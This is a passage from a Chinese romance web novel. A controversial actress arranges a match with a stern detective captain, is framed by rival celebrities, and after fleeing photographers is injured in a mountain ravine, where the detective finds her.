《蔷薇难驯[先婚后爱]》
1. 心路
【今晚8点我去接你，就穿我妈设计的那件。】
冷嫦瞥了眼弹出的消息，直接划走，摁下斩杀拿下蓝区buff，准备去中路支援。
此时冷嫦她们已经5-26，大逆风。
随着enemyrampage（敌方无坚不摧）的系统播报，本方射手辅助再度送给对面双杀人头。
屏幕上方又弹出一条消息：【乖，听话。】
射手后羿：没看到对方一直抓我吗？
辅助瑶：打野你能不能出点节奏？
节奏？
冷嫦看向自己的战绩5-0-0，眼皮轻掀，随即打字——
打野孙悟空：【没看到我发起投降了吗？】
输了游戏事小，但被射辅举报扣了信誉分，冷嫦表示忍不了，刚准备发送好友申请进行“互动交流”，那位没断奶的少爷已经不满足于消息轰炸，直接打来了电话。
开口第一句话就劈头盖脸：“为什么不回我消息？”
冷嫦纤指揉搓太阳穴，被气的头疼，碍于长辈间的交情还是决定不和他计较，随即回答：“在背剧本，没看到你的消息。”
沈公子盛气凌人地哦了一声，并继续道：“那说好了，我一会八点到，你就穿那条裙子，好看。”
这人又又又替她做决定了。
冷嫦深吸一口气，嘴角扯出一个假笑，似乎此刻沈公子就在眼前。
“我说沈公子，首先，我没有答应要去，其次，那条裙子虽你母亲设计的，但款式老成保守，我不喜欢，也不想穿。”
冷嫦调整了措辞，避开了尖锐的形容，事实上沈家母亲的品牌无非是有钱老妇人打发时间的消遣，周围人稍稍夸几句，结果还真当回事了，甚至要求冷嫦穿去各种社交场合。
“什么？”沈至风怀疑自己听错了，竖起耳朵坐直身子，不断摁大音量键，“你说我妈的设计老气？”
冷嫦：“我有品牌赞助，不需要。”
拜托，她怎么说也是个有一千万粉丝的女明星好吗？谁会穿这么没品的衣服。
虽然其中九百九十九万是来骂她的。
“冷嫦，我真是惯着你了是吧？就你们家这种小门小户，还有你的臭名声，要不是周阿姨非得牵线，你真以为我和我妈看得上你。”
句句不离我妈。
要不怎么说脑子是个好东西呢，但是很显然，沈公子他没有。
冷嫦打开扬声器，清了清嗓：“巧了，我也没看上你和你妈。”
扮了半个月的乖巧，终归是交代在这一刻。
换来的就是5分钟后，接到周家阿姨告状的老母亲，怒气冲冲地推开房门冲她一顿咆哮。
“你你你！你那个臭脾气！逢人就怼的脾气就不能收收？事业吧事业吃亏，天天和黑粉吵得昏天暗地，感情吧感情不顺，给你介绍的每一个都说你有问题，你知不知道你打的是我们当父母的脸啊？哎哟老天爷啊，我该拿你怎么办啊，你这样子你说你怎么嫁的出去啊？”
这些话冷嫦都快耳朵出茧，扑倒在床上用枕头捂住后脑勺，面对周瑄瑄的抱怨，主打一个懒的反驳，任凭发泄。
和事佬的父亲也紧随其后，一口一个老婆算了，一口一个老婆别生气。
冷嫦毕生的演技都用在了向父亲求救的眼神上，细碎星光混着泪水，没人比她看起来更无辜。
冷忠明在她的挤眉弄眼中，脑中忽然过电，啪得拍了下大腿：“诶，我这儿还有个人选呢，我看他就能管住冷嫦。”
？
她要的不是这种救场啊。
冷忠明连忙掏出手机来分享：“喏，是我老同学的儿子，前两天刚给我说他儿子呢，是个刑警，给安排相亲也难，都嫌弃他工作危险又不着家，老俩口也都着急呢。”
冷嫦反应极快，抽泣声戛然而止，恢复原有的精神：“那不行，不着家的男人要来干什么，我娶个摆件呢？”
周瑄瑄白了她一眼：“你再多嘴试试。”
冷忠明也反驳道：“瞎说什么娶不娶的。”
冷嫦不愿意再搭上相亲的冤种局，打算抗议到底，分贝往上调了调：“那他一个刑警挣得哪有我多，不行。”
冷忠明啧了她一声，一向宠溺的慈父形象在此刻变得严肃：“他不到三十就已经是刑侦支队的队长了，身上背着多少荣誉，你可少拿挣不挣钱的话噎人，他那是用命搏出来的。”
周瑄瑄听完这些似乎也想起了什么，眼峰一转，有些狐疑道：“诶，前两天你说见的不是万峰老总，难道……”
“就是他。”冷忠明点点头，“郗康树的儿子，所以才这么着急传宗接代的事儿，家里这么大的盘总得有人接吧。”
冷嫦这算是听明白了，堂堂财阀非要去干刑警，当父母的只能寄希望于第三代，这万峰集团虽然在娱乐圈不怎么出名，但每年公布财富榜排名都能看到万峰，冷嫦代入了一下他父母，确实该急。
“不过…”冷嫦小口抿抿，玻璃唇峰可爱娇俏，“就冲那家底的份上，也不至于沦落到相亲困难吧。”
冷忠明缓缓道来，话里颇有长辈指点的意蕴：“那你就不懂了，就是家大业大才要找个知根知底的。”
于是便找上了同为好友的冷忠明。
周瑄瑄仍觉得不对劲，便低下头看了眼屏幕上的照片，紧跟着不禁露出惊讶的神情：“长这样？”
长这样是哪样？丑得不能看？冷嫦眨巴着眼睛，愈发对这个脑子有病，放着亿万家财不要非要去拿命豁的人感兴趣，抱着枕头悄悄垫起脚靠了过去。
只一秒。
嘶声从她齿关泄露，照片是翻拍的男人1寸证件照，并不高清，但骨相优越的线条还是将他深邃硬朗的五官勾勒得当，不苟言笑的表情冷峻犀利，目视前方的眼神炯烈刚正，就如他的名字一样——郗正。
怎么十年过去，他还长这么帅啊。
冷嫦承认，哪怕是隔空与这模糊的视线重叠，她的心跳都忍不住漏了一拍，就连手里的枕头都毫不犹豫地出卖了她，此刻正突兀地躺在地上。
喉咙翻滚着许多复杂的情绪，冷嫦眨巴着眼睛，脑中闪过无数的想法，终于在瞬息之后成为了拨出去的电话。
电话那头正在美国倒时差的经纪人琳达，被吵醒的她揉了揉惺忪眼角，看清来电后顿时精神了——这祖宗又和人闹出绯闻上热搜了？拜托！她在休假啊！能不能让她好好放松一下！
“喂，怎么，”了字还未出口。
冷嫦就先声夺人：“你手上有没有什么清纯小白花的剧本，最好是要警察保护的那种角色。”
琳达大脑有些宕机：“清什么？白什么？”
“就是娇柔白莲花啊！我要改变荧幕人设！”
琳达：不是…出道十年，是谁当初坚持说这张脸不演反派太可惜了……
这边挂了电话，周瑄瑄还在惋惜这样好的男孩上交给了国家，又忍不住瞥了眼躲在窗帘处偷笑的冷嫦，恨铁不成钢道：“从小到大，你要做什么我都依你，我现在就想你好好处个对象，怎么就这么费劲呢。”
“那这次我依你啊。”
“什么？！”周瑄瑄和冷忠明异口同声地问。
冷嫦：“依你们的啊，就他了，我要和他相亲。”
周瑄瑄怀疑女儿又要作妖，不死心地问：“你刚才不是说他不着家跟个摆件似的吗？”
冷嫦摇晃着食指，得意地解释：“你看他那脸正的和关公似的，摆件怎么了，镇宅也行啊～～”
*
冷嫦反常地配合这件事的进行，然而郗康树则表示，自己儿子实在不礼貌，约了几次见面都以忙为借口推脱。
冷嫦则对郗康树说：“叔叔，您只要告诉我他工作地址就行，接下去的事，我们会自己搞定，您们不用操心。”
也正是这句话，让她在一个风和日丽的下午，出现在了正是下班时间的警局门口。
“那人是不是演员冷嫦啊？天天被骂上热搜那个。”
“好像是诶，原来她真长电视里那样啊…我还以为都是p的呢。”
“你别说
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，真人比电视里看着还要漂亮些啊。”
“要不怎么老被人喷整容呢…不过，她怎么会来这里呢？”
在众人的小声议论中，一袭黑色长裙的冷嫦面带微笑来到问询处：“你好，我来找郗正。”
接待女警吃了一惊：“你是…你是那个……”
冷嫦大方地伸出手，握住了女警做登记的动作：“是的，我是冷嫦，能不能帮我转告一下，郗叔叔让我来找他。”
被莫名友好握手的女警有些愣住，反应了好一会才尴尬地点头答应。
几分钟后她再出现，但带来了一个不太好的消息：“郗队说他在忙，让你先回去。”
忙～又忙是吧～ok～
堂而皇之被拒的冷嫦收起一丁点的不高兴，凭借姣好的职业素养继续保持没笑：“那没事，我在这里等他好了。”
然后找了个大厅最敞亮，人最多的位置一屁股扎了下去。
不到半小时，接到小道消息的记者就陆陆续续杀到了警局，微博上也开始出现冷嫦的八卦话题。
【女星冷嫦秘密报警。】
【疑似酒店门事件后续，难道冷嫦真的是受害者？】
越来越多的记者出现，伴随着越来越多的吃瓜群众，冷嫦却司空见惯，面对记者的提问只是掩面道：“我不方便回答。”
警局很快就被堵的水泄不通，状况显然有些秩序失控，没人看到冷嫦唇角微扬，计谋得逞的笑意在她自带娇态的脸上荡开，大厅的干警见到厅内几乎失守，立刻跑进去通报。
两分钟后，她顺利在这名干警返回的同时被请进了办公室：“冷小姐对吗，请跟我来。”
内部长廊需要刷卡进入，冷嫦身后的记者被挡在了外面。
“郗队在里面。”说完干警便转身离开。
冷嫦敲敲门，语气尽量温婉，天知道这次见面她预演了多少遍，可当她在听见那声“进来”后还是免不了脚底板打滑，导致她接下去的动作都不能说是开门进去，而是推门跌了进去。
好在她动作灵敏，一个重心回转稳住了狗吃屎的动作，她安慰自己——最多只能算作踉跄！
“很抱歉因为我父亲的安排让你白跑一趟，我会安排警员送你回去。”
郗正始终低头翻看递上来的笔录，这态度甚至连无情都算不上，无情至少还要表情呢…
冷嫦眉角突跳，有些无措，但一想到来的目的，立刻调整姿态…于是正了腰板朝他又近了两步：“叔叔的事的确你已经处理好了，但接下去是我的事。”
郗正捏住笔尖的动作一顿，屋内白灯摇曳，老墙年久失修泛有白灰，可就是这样一个甚至都没露脸的人，坐在如此刻板沉闷的地方，仅凭他高大的身影，仍旧充斥着巨大的力量感，带给她无形的压迫。
他抬头，冷锐的目光堪比x光，冷嫦表示经得住荧幕镁光灯，却经不住郗正的审视，毕竟这玩意有“辐射”，副作用的表现就是她吓得后退了两步，一如十年前。
冷嫦小拳藏在身后，用力的瞬间把顷刻的颤栗憋了回去，继续用她的职业笑脸发起进攻：“我来是想请郗警官你帮个忙。”
“什么忙。”
“不是什么难事，只是想问个路。”
郗正的目光逐渐收拢，寒光里透出一丝情绪的波动，话题进行到此，他似乎已经辩到了冷嫦那刻意的小心思。
他仰身往后靠去，椅背顿时被他宽大的身板遮住，抱胸的动作让他绷起的肱二头肌耸起，惊人的肌块与体格让他上臂那条束带显得多余又缠绵。
“你问。”
冷嫦满脑子的高速画面闪过，什么脸不脸的她都不要了，当年追不到，现在当了明星她不信还追不到！跟着心一横，话里的挑/逗直接撞了过去：
“我想问郗警官，要怎么才能去你心里。”
风声从窗沿闯进本就不大的屋内，桌面纸声沙响，连带着女孩甜兮兮的笑脸，滋啦一声格外刺耳，钢笔笔尖原地劈了个叉，浑浊墨迹晕开，就和郗正脸上的表情一样——难看得发黑。
2. 热搜
冷嫦被“送”走的时候，大厅内的八卦记者也已经彻底清场。
负责将她送走的干警忙不迭将人带到保姆车，并在冷嫦抬腿上车的时候好心提醒：
“冷小姐，虽然不知道你与我们郗队有什么误会，但我劝你以后还是离他远点……”
小干警眼神游离，虽说是善意的提醒却还频频回头看向身后，深怕方才郗队像提着小鸡崽子把冷嫦拎出来的一幕发生在自己身上，好在人早已走远。
冷嫦揉了揉郗正抄她胳膊的位置，一点没带怕的：“他对谁都那样吗？”
小干警摇摇头：“虽然平日郗队总板着脸，但‘主动送客’的情况还是很少的。”
“是吗？”冷嫦反而不好意思地笑起来，“那看来我是头一个咯？”
漂亮脸蛋上的得意劲惹得小干警心口扑跳，他直观地感受到了明星和素人之间有壁这句话的意思，平时跟着队长刀尖舔血的时候也比不上现在的心率，像是被人朝心口开了一枪。
冷嫦未察觉这张脸犯下的错，还回味着屋内发生的一切，紧张又刺激的对峙。
-
“冷小姐，你知道扰乱公共秩序是违法的么？”郗正站起身来走到冷嫦的面前，他收住了片刻崩塌的表情，恢复如常的严肃，接近一米九的身影将冷嫦拢在阴影里。
好闻的淡古龙掺和冷欲的松柏，冷嫦吸了吸鼻子，眼中有一瞬的失焦，只条件反射地问了声“什么？”
郗正垂眼，幽不见底的眸子和她晶莹的目光交叠，他顿了顿，继续说：“大厅引起的骚动。”
冷嫦哦～道：“你都知道啦～”
她是利用了娱记的八卦心理造成了小规模的群聚，让郗正被动地将人放进来，但……
于是立刻装出委屈来：“还不是因为你不肯见我～情有可原～源头在你～非要追究，你也得负责任。”
郗正：“……”
见郗正一脸板正眉心微蹙，冷嫦忙跟了一句：“你身为警务人员，明知我的身份处境还选择这么做，你知法犯法，罪加一等！”
冷嫦眯着眼，瓷肌白里透红像春日初桃，她高高扬起下巴，心说今天终于掰回一局，然而等了半天也没等到男人投降的话语，却只觉胳膊被大力握紧，等她再反应过来的时候，已经被拎到了后门的停车场，耳旁徒留郗正薄怒的口吻：
“谁也不许再放她进来。”
*
和小干警说完再见，冷嫦默默给自己今天的表现打了60分，没有临阵退缩就是胜仗，正准备拿出手机和郗叔叔汇报战况，那头的郗康树已经从郗正那得知，并被要求不许再干涉他的私事，否则下次就不止把冷嫦丢出来这么简单了。
电话刚接起，郗康树显然还生着气，却还是压着脾气关心冷嫦：“臭小子把你丢出来了？你没事吧。”
冷嫦看到胳膊还泛着红，解释道：“也不能算丢，我挺重的，最多算提。”
“……”
郗康树深知儿子的脾气，几番劝说冷嫦还是放弃吧，冷嫦却很坚持：“没事的叔叔，这么轻易能搞定的话他就不是郗正了。”
冷嫦挂了电话并从叔叔那拿到了郗正的号码，打开微信添加好友申请：【我是冷嫦，我决定不告你知法犯法了！】
毫无悬念，一夜过去，她的好友申请被彻底无视。
冷嫦当然知道趁热打铁的道理，可惜的是她的新戏《凤鸣》拍摄在即，导演通知她们提前进组，为此，远在美国的琳达也只能结束假期，充满哀怨地回归打工人的角色。
恢复工作后的第一件事就是把这些日子的微博和贴吧逛了个遍，确定没有遗漏任何和冷嫦有关的黑话后才松了口气：“祖宗你最近安分得有些不像话，除了前几天去警局的乌龙，竟然一个热搜都没挂。”
冷嫦眨眨眼，心说，其实不算乌龙，要是那群记者聪明点去停车场蹲那还是能拍到她被丢出来的照片。
“那说明我不够红了呀～”由于出生商贾且和圈里有点关系，被贴上带资进组标签的冷嫦从出道第一天开始就被全网嘲。
发酵十年，她的资源始终不好，接的都是些龙套的角色，出圈的东西也多是写真之类的照片，代表作为零，然而绯闻常年99+，稳居话题女王。
真真假假的娱乐圈，若说只是绯闻黑料也就算了，偏偏她口无遮拦逢人就怼，黑粉找上她亲自下场，一夜被封8个小号就此成名，从此口碑彻底跌落谷底，然而，她不在乎。
琳达扶额摇头：“我说小祖宗，就你家那条件何必出来闯荡娱乐圈呢，你要是真闯也就算了…玩了这么多年……也该放弃了吧。”
怎么又让她放弃？
郗叔叔让她放弃郗正，经纪人让她放弃工作？
“当保安还有自己使命呢，我当艺人给互联网提供话题，怎么就不是价值了？再说——”冷嫦收起剧本。
琳达从来就没吵赢过，只能转移话题督促她收拾东西进组，车子已经在楼下等了。
冷嫦嘴硬归嘴硬，但这次改变荧幕形象确实是认真的，于是倏地一把摁住琳达，表情诚恳切切：“你信我，我接下去一定会红，不是黑红的那种红。”
琳达表示红不红什么的不知道，进组被狠狠鄙视了一波倒是不假。
冷嫦一下车，那些名气甚至远不如她的新人都敢在远处蛐蛐她：
“那人是冷嫦吧？最初的名单里不是没有她吗？”
“也不知道是勾搭上哪个金主了能进霍导的组。”
“就她这种人还敢和杨影帝闹绯闻，笑死了。”
“她除了闹绯闻上热搜还能干什么。”
冷嫦从不受窝囊气，有仇当场就报了，张手作出喇叭状，朝那头喊话：“热搜八十万一条呢～公司舍得每天给你们买吗？”
觉得不解气的冷嫦在看到几人错愕的表情后，又逞笑补刀：“不过既然作为你们前辈，下次上热搜的时候带上你们几个也不是不行～你们刚出道，挣点钱不容易的～”
周围工作人员都看傻了眼，听闻过冷嫦个性张扬，却没想到才刚进组就和新人呛上了。
琳达早就司空见惯，只能憨笑着和大家打招呼假装无事发生，而后提着行李跟上冷嫦的步伐进了化妆间。
里头几位化妆师倒是熟面孔，见冷嫦先到了便拿起工具箱靠了过去：“姐，主演许栀玫还没到，我先给你化吧。”
化妆师小米和冷嫦已经合作过很多次，相比那些新人更清楚冷嫦的脾性，她熟练地拿出夹子将冷嫦绸缎黑发轻轻挽在一侧，身为娱乐圈资深化妆师，阅人无数的她在仔细看过冷嫦的脸之后还是忍不住赞叹：
“素颜还是这么漂亮。”小米展开掌心和冷嫦的脸比大小，接着说，“你脸不光小，五官又突出，可惜现在满世界都在吹纯欲风，你这样的浓颜系总被人误会是整容脸。”
冷嫦联想到网上把她被称为低配许栀玫的事，不禁笑出了声：“反正网友骂来骂去不都哪几个词。”
她都快腻了，这届网友不行，就没几个新鲜的。
两个小时后，许栀玫才姗姗来迟，早就过了进组规定的时间。
其余主要演员更是因为等的发困回休息室去了，此刻主化妆间里就只剩
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下冷嫦一人。
她本就等得烦，看到许栀玫那张和她那几分相似的脸闯进化妆间，还是免不了心生不爽。
许栀玫看到冷嫦的脸也是一愣，两人五官并不相同只是些许神韵相似，要真说颜值的话，去掉美颜精修的滤镜，许栀玫稍许逊色，可是自带青年影后光环的许栀玫依旧认为眼前的冷嫦只是空有美貌的俗物。
面对四下无人的状况，她撕下那层温柔的伪装，嫌恶的眼神尽数泄漏：“剧组在搞什么，怎么会安排你和我一个化妆间？”
冷嫦不是傻子，瞬间从许栀玫的表情和话里听出了敌意，她不答反问：“我以为你迟到了两个小时早就化完妆了，这是还打算让大家继续等你的意思？”
一个字没提她怠工，却字字都在反讥。
“你一个艳星也配和我这样说话？”
艳星？
冷嫦闹出绯闻上热搜不假，但所谓的不雅照从未流出过，网友的声讨也不过是捕风捉影的消遣，像这样居高临下替她挂上艳星之名的，她许栀玫还是头一个。
“许栀玫，我法务团队百分百胜率你应该听闻过，那些黑我的都是什么下场，难道你也想体验一下吗？”
许栀玫：“……”
一时哑然的许栀玫承认有被唬道，好在门外嘈杂声渐起，是导演带着其他人过来了。
逮着机会的许栀玫立刻收住了面上的愤怒，门开的那一刻，她身子一软朝冷嫦鞠了个躬，声音带着哭腔，梨花带雨道：
“迟到是我不对，冷嫦我给你道歉，但我能不能请你别再骂我了，我也因为临时通告让大家等我的事很自责，我保证，以后一定不会迟到了。”
冷嫦：？
门口一众工作人员：冷嫦在欺负许栀玫？？
只听咔嚓一声，热心人士的照片定格在此。
1分钟后，热搜锁定。
【娱乐圈毒瘤冷嫦辱骂许栀玫！】
【冷嫦因嫉妒在片场恶意攻击许栀玫。】
【劣质艺人滚出娱乐圈！】
“你拦着我干嘛？”被强行拖回保姆车的冷嫦气得浑身发抖，指着车外那一群阴阳怪气的人群愤愤道，“让我出去！”
“放你出去？你照镜子好好看你现在的样子，再被拍两张不妥妥实锤吗？她什么人设你什么人设，这时候搅合进去吃亏的是你！”琳达死死扒着档杆堵住冷嫦夺门的动作，冲司机喊：“开车！回家！”
琳达果断向导演告了假推迟了冷嫦的拍摄，车身摇摆间，载着满腔怒火缓缓远去，只听冷嫦不甘心的声音在盘旋——“告到中央！我要告到中央！”（吗喽表情包.jpg）
「云城警局内」
午餐时间刚过，干警们围在一起休息，翻看着微博打发时间。
“诶？这是不是前两天来找队长那个？”女干警认出了冷嫦，此刻有些兴奋。
“真的是她啊！她怎么跑去骂人家许栀玫了？”
“不知道啊，说是因为嫉妒，我记得网上有人说她是低配版许栀玫吧。”
边上的邓平闻声看了过来，他正是那天最后送冷嫦上车的人，看到标题的时候不禁皱皱眉：“上次市里安保任务时我见过许栀玫，有一说一，这冷嫦比她漂亮多了，这算哪门子低配。“
“那人品不行脸好看也没用啊，冷嫦什么德行大家又不是不知道…那脸估计也是照着许栀玫整的吧。”
突然，一个低沉冷酷的嗓音从几人的上空砸下：“通过个人主观想法而传播未鉴定事实的行为，这是造谣。”
“你，写一千字检讨交到我办公室。”
3. 失足
“杨晋给你打电话了？”
冷嫦哦了一声，“三个，没接。”
“干嘛不接？他经纪人刚联系我，说导演那边他们安抚好了，不会有后续追责。”琳达挂了电话，如释重负地松了口气。
冷嫦换上了家居服，兔耳朵束发带在她盘腿上沙发的动作下一荡一荡，冷嫦双手拍拍脸颊的面膜，完全不领情：“无事献殷勤。”
非奸即盗。
影帝杨晋上个月被爆出和人开房，要说是绯闻也就算了，偏偏杨晋的取向非异性，要是这个节骨眼被曝出来，别说事业受阻，整个人就塌了，于是同为一家公司的冷嫦被推出来挡枪，随后一张冷嫦也在同天进入酒店的照片被曝出。
冷嫦习惯挨骂，但不归她的锅她始终不肯点头，最终交涉结果就是她可以发一条当晚她只是参加商务宴请的婉转澄清，杨晋那边不作回应任凭发酵就行。
好在她这种花边也不是第一次了，没多久大家就以杨晋怎么会看得上她的结论而作罢，话题很快淡出。
“以后行事作风低调点，那件事翻篇了，他对你也算照顾了，最近的剧组都是他给安排的，你以后别再给杨晋找麻烦了。”
冷嫦：“当时他出那档子事，没让他给我磕几个头不错了，还有，今天明明是许栀玫的问题，你怪我做什么？”
“娱乐圈尔虞我诈你又不是第一天知道？”琳达蹲下身将新购置的护肤品一样样塞进恒温柜，软下语气哄她，“好啦，你就当许栀玫丑人作怪，咱们嫦嫦可要漂亮得多。”
冷嫦四肢一畅，呈大字向后靠去，被人摆了一道的不爽，她势必要还回去。
临近傍晚时刻，琳达又叮嘱了两遍不许去微博和粉丝互动才离开。
冷嫦被琳达硬控了一下午，终于等到自由时间，琳达前脚刚走，她就立刻掏出手机，桌面上那个大大的眼睛图标正是她的腥风血雨之地，正准备点开的时候，杨晋的电话恰巧打进来。
指尖点触交错，碰到了绿色通话键。
那头轻柔的问候飘起：“你消气了？”
杨晋富有嗓音的声音略带慵懒的性感，至少在冷嫦得知他性取向的事情之前她也是这么认为的，可现在被推出来当靶子的她对杨晋只剩滤镜碎光的反感。
初秋的风在日落之时略显凌厉，冷嫦找了件开衫披上。
杨晋：“我快到你楼下了，定了家非常棒的餐厅。”
冷嫦：“不去。”
“还有十分钟就到，你换衣服刚好。”杨晋这种笑着强势的口吻有种难以察觉的控制欲。
冷嫦刚要挂电话拒绝，杨晋的声音就和淬了毒染上魔法，鬼魅道：“听琳达姐说你最近想接警匪戏？我这里刚好有部剧缺主演。”
冷嫦的小虎牙紧贴下唇，扯出来的红褶子像极了沁水的樱桃，她本能地想要答应，可转念一想又反问杨晋那人能那么好心？
杨晋嗅到了冷嫦的犹豫，以退为进道：“是程导的新戏，让我给推荐几个人，既然你不愿意那也没事，我就先回去了。”
“慢着——”冷嫦噌得起身，“去西小门，避开正门的记者。”
*
看到白色保姆车停靠，冷嫦从树下窜到路边，车辆还没彻底挺稳，她便迅速跨进车内，没等司机反应过来，冷嫦已经开始催促快开车。
冷嫦住在市中心的富人区，穿过繁华的地段又过了40分钟才到杨晋所称的西餐厅。
靠近摄山车流明显变少，到了地址停好车，杨晋的经纪人先下去确定餐厅包下还没有其他客人，才招呼冷嫦他二人进去。
车上的时候大致对那部警匪剧有了个了解，剩下的就是细节上的问题，杨晋颇有信心地承诺：“只要选角的时候你正常发挥，拿到女二绝没问题。”
冷嫦的演技其实很好，只是因为这张脸过于鲜明，导致了戏路实在打不开，反而成了貌美反派专业户，恶女形象深入人心，以至于任何消息爆出来都会招来非议。
“你欠我的，别指望我会谢你。”自从她和杨晋的绯闻爆出，那段时间万人唾骂不说，热度更是居高不下，就连戴个隐形眼镜的动作都会被写成恶意翻白眼。
杨晋轻笑两声：“你讨厌一个人的时候，真是连一丁点都不愿意装。”
冷嫦咽下牛排，餐巾擦过嘴角，哪怕坐在对面的是娱乐圈地位最高的影帝，她的眼神却仍没有半分怯微：“你们曝我照片的时候就应该知道结果。”
“当然。”杨晋摊手的同时换了个惬意的坐姿，一派儒雅温和的表情看不出任何喜怒，“所以我现在做的一切都是自愿的。”
冷嫦放下刀叉，重新端起香槟：“不过，如果那部剧真的能让我出演，我们两的事也就当清了。”
她可不想和杨晋继续有什么关联。
杨晋微微倾身，单手撑于桌面叠在下巴处，被誉为内娱最帅的脸庞赫然正对，眼神里甚至带着难以明说的情愫，冷嫦浑身一滞。
“可是…”杨晋柔和的眉宇间写上某种决绝，那略带遗憾的言辞在冷嫦手腕被对方体温触及时同时降临。
冷嫦呆呆地看着杨晋握住她手腕，以及他断断续续吐露的心声：“可是…我们之间已经无法两清了。”
咔嚓、咔嚓、咔嚓
已经被夜色彻底染黑的窗外在无数闪光灯的包围下亮如白昼，冷嫦惊讶地起身后退，那不怀好意的温度还残留在腕处。
她挣开了杨晋几次伸出手来的挽留，几乎是逃也似地从餐厅后门离开，可是这里位置偏僻，记者在看到她跑出去后连忙也追了出去，谁也不想放过这次实锤影帝恋情的机会。
想要打到车就只能往大路去，可记者们肯定早就蹲守在那，左边是往大路的方向，右边是伸手不见五指的摄山，她努力强迫自己镇定，方才的位置背对窗口，记者们不一定拍清她的脸，眼下只要能顺利离开，杨晋的预谋就不会得逞。
于是她不顾只身一人毅然走进了摄山，才没几步路就听到外围记者急促的声音：
“她跑哪去了？怎么不见了？”
“肯定往大路去了，快追！”
“万一她进山了呢？要不我们上山看看？”
“你以为她傻的吗？摄山地势复杂灌木错综，白天登个山都容易栽跟头，大晚上的进去是嫌命太长了？”
随着脚步慢慢远去，冷嫦狂乱的心跳也渐渐平稳下来。
记者们说的没错，夜晚的山路太危险，她也不敢太贸然，只能摸着黑稍稍往里走了数十米，这个位置有些背坡，趴在坡上既能观察到那条小路上的动静，又可以挡住她的身形。
冷嫦在发现没人继续在小路上徘徊之后才敢打开手机，生怕一点光都能把他们引来。
电话拨通后，她快速和琳达说明了今晚的情况。
琳达气得破口大骂：“这杨晋还真不是个东西，当时以为曝照片是公司不得已为之，看来这货是完全打算把你供出去，给
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他的恋情打掩护了。”
冷嫦联想到一个极具冒犯的词——同/妻。
杨晋这种行为，简直该遭雷劈。
琳达不断安慰冷嫦：“你先别急，我看网上刚曝出来的没有正面照，暂时还不会影响你什么。”
听到这里冷嫦的心情才平复了些许，压低声音接着说：“那你想想办法来接我吧，别让他们发现。”
两人正要沟通怎么从摄山接头，脚边传来一阵窸窸窣窣的声响，冷嫦顺着月光朝下看去，一双漆黑的透出危险的眸子正死死扣住她，底下圈圈盘起，上身绷直昂立，是一条准备攻击姿态的蛇。
“啊——”
冷嫦吓得忍不住惊呼，身体本能地想要挪开，却是踩在了松软的石块上，她奋力拉扯离她最近的木枝，然而死去的枯木瞬间断裂，紧跟着全身上下所有的关节都跟着失去控制，让冷嫦以一个完全没有防备的姿势朝山坡另一侧滚落。
她被网友骂过无数肮脏的字眼，包括“失足”。
却没想到这个词以它真正的含义来到了冷嫦的身上，不知道中途被横生的树木改变了几次坠落的轨迹，以至于她忍住剧痛看清周围的时候才发现…已经来到了一个被彻底包裹的山谷中。
冷嫦打开手机，信号微弱到在0和1之间反复横跳。
她试图拨打琳达的电话，可一次次回应她的都是无法接通的嘟声，双腿因为受伤此刻就连从地上起来都有些困难。
纪录片里那些在森林发生的意外一桩桩一件件都如潮侵蚀她的内心，她有些颤抖地环顾四周，生怕那条蛇还在附近，再一深想，什么毒虫走兽全都以恐怖的幻想在她脑中浮现。
时间一分分流失，山里的温度本就温差大，夜越深温度越低，她逃出来得急，单薄的长裙根本阻止不了低温的啃噬。
人在求生本能里，那些浮名的东西顿时变得不再重要了。
愈发湿冷的环境让她腿上的疼痛更加明显，冷嫦掀开裙摆探手摸下去，那是一片潮腥的痕迹——她的腿被断枝割伤了，有明显的出血。
冷嫦重新拿起手机，再看一眼令人绝望的信号0格，无奈地摁下了紧急通话键。
*
“郗队，这么晚怎么来这里？”110接警中心的负责人看到郗正带着两名警员进入大厅，立刻上去接待。
郗正摆手叫停了对方的客套，拿出文件：“这是上级批准公函，我需要调出三天内所有市内与滨海区域有关的接警内容。”
负责人连连点头：“好的好的，那你跟我来，我带你进去。”
接警中心的工作人员每个人在忙，郗正跟在负责人的身后，时不时听到一些关键信息。
“车祸对吗？地址是哪里？人员受伤情况怎么样？”
“失联了？什么时候发现的？失踪多久了？你们是什么关系？”
“困在山里？摄山？腿受伤了？需要救护车吗？有其他要求吗？需要我们隐瞒你的身份？艺人冷嫦？”
“！”
负责人还在介绍最近中心的情况，夸奖着刑侦今年又破了几起大案，顺便调侃说要是郗队向上级做报告的时候，一定给他美言几句。
然而等他回过头去，却看到郗正面色凝重地站在一名接线员的身旁，手上还捧着接线机上的备份耳机。
没等他走过去询问情况，郗正就先声夺人对着和同样充满疑惑的邓平说道：“资料你负责签收，我晚点过来核对。”
4. 凶案
冷嫦的眼睛已经适应了夜晚，偶有星光坠落也很快跌入荒林间成为混沌一片。
平时没事抱着手机冲浪，查看天气，和人联络，点餐外卖，与生活息息相关的一切都在因为信号的消失里成为一种奢侈的盼望。
若不是为了躲开记者，她犯不着扎进山里摔得四荤八素，想到始作俑者的杨晋便气得胸闷，娱乐圈哪个混的风生水起的人不操几个人设，但像杨晋这种咖位却干出如此道德沦丧之事的，无人能出其右。
冷嫦弓起腿，细长的手臂没有外衣的保暖，不断沁入的冷风让她环抱着自己，茫然的夜空只有一抹惨白的月色，一点也不好看。
“也不知道警察什么时候才能找到我……”
她根本不敢细想，与影帝约会和跌落山谷的狼狈同时被刊出，她要背上什么样的骂名，公司完全有可能因为这些事将她雪藏，甚至解约。
寒风一阵阵吹过，早已乱成结的头发任凭冷嫦怎么用手梳理却还是沾着细碎的泥土。
再抬头，一束手电筒的光芒出现在远处。
她仰望着坡顶，这种矛盾的心情缠绕凝聚，她期待搜救的光出现，意味着可以回到温暖的室内，可又害怕那道光会成为她在荧幕上最后的照明。
“不甘心啊…”冷嫦咬牙，双唇的颤抖不知是冻得还是其他，脸色更是难看得发青。
坡顶一个高大的身形模糊可见，冷嫦只能看到对方手中的手电筒正在向四周探寻，光影明灭，如同她心底的纠结。
事已至此，冷嫦垂下脑袋，深深叹了口气。
既然已经报警寻求帮助，她不想再因为个人而浪费宝贵的警力，再多的不甘也只能全部吞下，嗓尖伴随着一阵灼热的焦躁，冷嫦干咳两声，朝光源处喊道：“我在这里。”
闻声，那个身影伫立原地，腕骨轻转，手电的光直直照相冷嫦。
一时间的刺目让冷嫦习惯性地反手挡脸，脱口说道：“别拍。”
说完她自己都愣住了…人家是警察，又不是狗仔…
冷嫦张巴着嘴，总觉得这话有种自以为是的冒犯，急于纠正却没想出合适的词，慌乱之下她摸到边上的矮枝，试图站起来解释。
高大人影的声音却率先抵达，在山谷里穿梭，幽远透彻，低沉得令人安心：“你别动。”
